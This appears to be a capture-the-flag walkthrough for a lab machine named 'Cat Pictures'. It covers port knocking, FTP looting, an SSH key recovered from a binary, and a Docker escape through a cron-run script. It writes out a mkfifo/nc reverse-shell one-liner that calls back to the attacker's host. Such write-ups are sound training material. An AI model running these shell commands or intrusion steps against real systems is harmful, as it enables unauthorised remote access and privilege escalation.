# Cat Pictures

### **User flag**

As usually,  we start with our nmap enumeration.

```
nmap -T4 -A -p- 10.10.192.184
```

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MbQtUqfmrmviVtZDS0V%2F-MbQujPECfOF8J6FI0xF%2Fimage.png?alt=media\&token=054e07da-cd9b-4d75-aecd-568212d26c8a)

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MbQtUqfmrmviVtZDS0V%2F-MbQuoaslrBgLdyL-M2j%2Fimage.png?alt=media\&token=df826cfc-e0dc-416d-ba74-4294ca89ffab)

We see there are three open ports **(22, 4420, 8080)**. If we take a look at the 4420 we get the following:

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MbQtUqfmrmviVtZDS0V%2F-MbR-ZqpHqnOP1lKJw7F%2Fimage.png?alt=media\&token=39779686-e8a3-4ad6-9356-994ddad1559a)

So let's head to the port 80 and see what we find.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MbQtUqfmrmviVtZDS0V%2F-MbQw-gqxgp7swYTlVg3%2Fimage.png?alt=media\&token=69dbfd40-ee28-4205-bb5f-e373e299036a)

It looks like the classic ol' forum. Let's take a look around and see if we can find something interesting.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MbQtUqfmrmviVtZDS0V%2F-MbQwD8w9QceRVb3ZlKQ%2Fimage.png?alt=media\&token=130c29d2-241e-43c8-97d0-ed5cd57b1dd8)

Knock, knock? That means something... Run the following command on the console **(Port Knocking)**:

```
for PORT in 1111 2222 3333 4444; do nmap -PN 10.10.192.184 -p $PORT; done
```

If we run another nmap scan we can find a new open port on the network:

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MbQtUqfmrmviVtZDS0V%2F-MbQzb58k7vvhPaP7N8m%2Fimage.png?alt=media\&token=da5b7426-ed17-4133-9809-f462cb3c42fd)

Now we can try to connect to the ftp server and get everything we can.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MbQtUqfmrmviVtZDS0V%2F-MbR-4tFXpt1QHeYYIXz%2Fimage.png?alt=media\&token=c8ced4d5-0db6-40ac-a6cf-cb51aae867b1)

We find an interesting note that gives us a password for the internal shell we found earlier.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MbQtUqfmrmviVtZDS0V%2F-MbR-KKX2PBoPAcdd5h5%2Fimage.png?alt=media\&token=d120d409-b1b0-4e45-ac3d-9e38a8d50871)

If we connect to port 4420 and enter the password we found we get access to the internal shell.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MbQtUqfmrmviVtZDS0V%2F-MbR-u0MM9cZXI0rFMOb%2Fimage.png?alt=media\&token=be047d17-df78-4221-aeac-5806a6449d25)

Now we can try to get a regular shell from this one. Run this command on the internal shell (Don't forget to start a listener on your machine):

```
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.36.103 9001 >/tmp/f
```

Once in the new shell we can use the "cd" command and look around the system.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MbQtUqfmrmviVtZDS0V%2F-MbR2yG5GWEGyE3BPrpj%2Fimage.png?alt=media\&token=03bed935-e5d3-424c-bd2c-f1eb6fb3dec3)

Let's do what it says and run it.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MbQtUqfmrmviVtZDS0V%2F-MbR3X86sssBM_Zu9gOj%2Fimage.png?alt=media\&token=0065aba4-c31e-4d10-adac-2346ba9ee41b)

Damn, we have to find the correct password.&#x20;

After a while trying to find the password in different folders with no success we decided to cat the "runme" binary and we did find something interesting:

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MbQtUqfmrmviVtZDS0V%2F-MbR4v3x4JSo6C5SRnPd%2Fimage.png?alt=media\&token=9dc43e70-8122-4149-8f43-eb53b2d134e6)

If we try "rebecca" as the password we get a ssh key.&#x20;

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MbQtUqfmrmviVtZDS0V%2F-MbR5BxE_zoZSbkU0Uh2%2Fimage.png?alt=media\&token=7178b881-e189-4c4e-87ef-7f4e56ba2549)

Let's get that id\_rsa to our machine and use it to ssh into the victim.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MbQtUqfmrmviVtZDS0V%2F-MbR64vLGua6atpjIIcy%2Fimage.png?alt=media\&token=d3a3d01f-0f9e-4d5a-a7b6-792d94b1875e)

We're in and by the looks of it, it seems like we are in a container.&#x20;

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MbQtUqfmrmviVtZDS0V%2F-MbR6ejEa9ChQez3LE6i%2Fimage.png?alt=media\&token=35507a58-493e-4953-9288-9d9b78984763)

### Root flag

Now we have to break out the docker container. After using linpeas to get info about the system we could see the following:

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MbQtUqfmrmviVtZDS0V%2F-MbRCE6ivCP87dLKXhAo%2Fimage.png?alt=media\&token=d61f1bbc-4f8f-412b-908f-4e5752109048)

Let's read the .bash\_history file

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MbQtUqfmrmviVtZDS0V%2F-MbREKSM2jGftVvxuHkH%2Fimage.png?alt=media\&token=f66a9452-a326-4aee-a50e-f0fc8da936cc)

Kind of confusing at first. We can assume there's a cronjob running /opt/clean/clean.sh outside the docker by the way the user edited the file.

To check if we're correct we can edit the file and put a reverse shell on it and see if we get it.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MbQtUqfmrmviVtZDS0V%2F-MbRIT7GITsCfyP__36I%2Fimage.png?alt=media\&token=09e9e6e5-7912-4854-bbd7-9893fe021997)

After a few seconds we get the shell and the root flag.

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MbQtUqfmrmviVtZDS0V%2F-MbRJOzsCvWIOYAmYnqw%2Fimage.png?alt=media\&token=6d3eb21d-a122-4ca2-97d1-92b31d6bb8ba)

![](https://1395001704-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MRAxN9CViftWZf4UkUS%2F-MbQtUqfmrmviVtZDS0V%2F-MbRK0_9fA_ijhoBgerR%2Fimage.png?alt=media\&token=9b01e65b-a493-46fd-b229-ce2897b2ef6f)
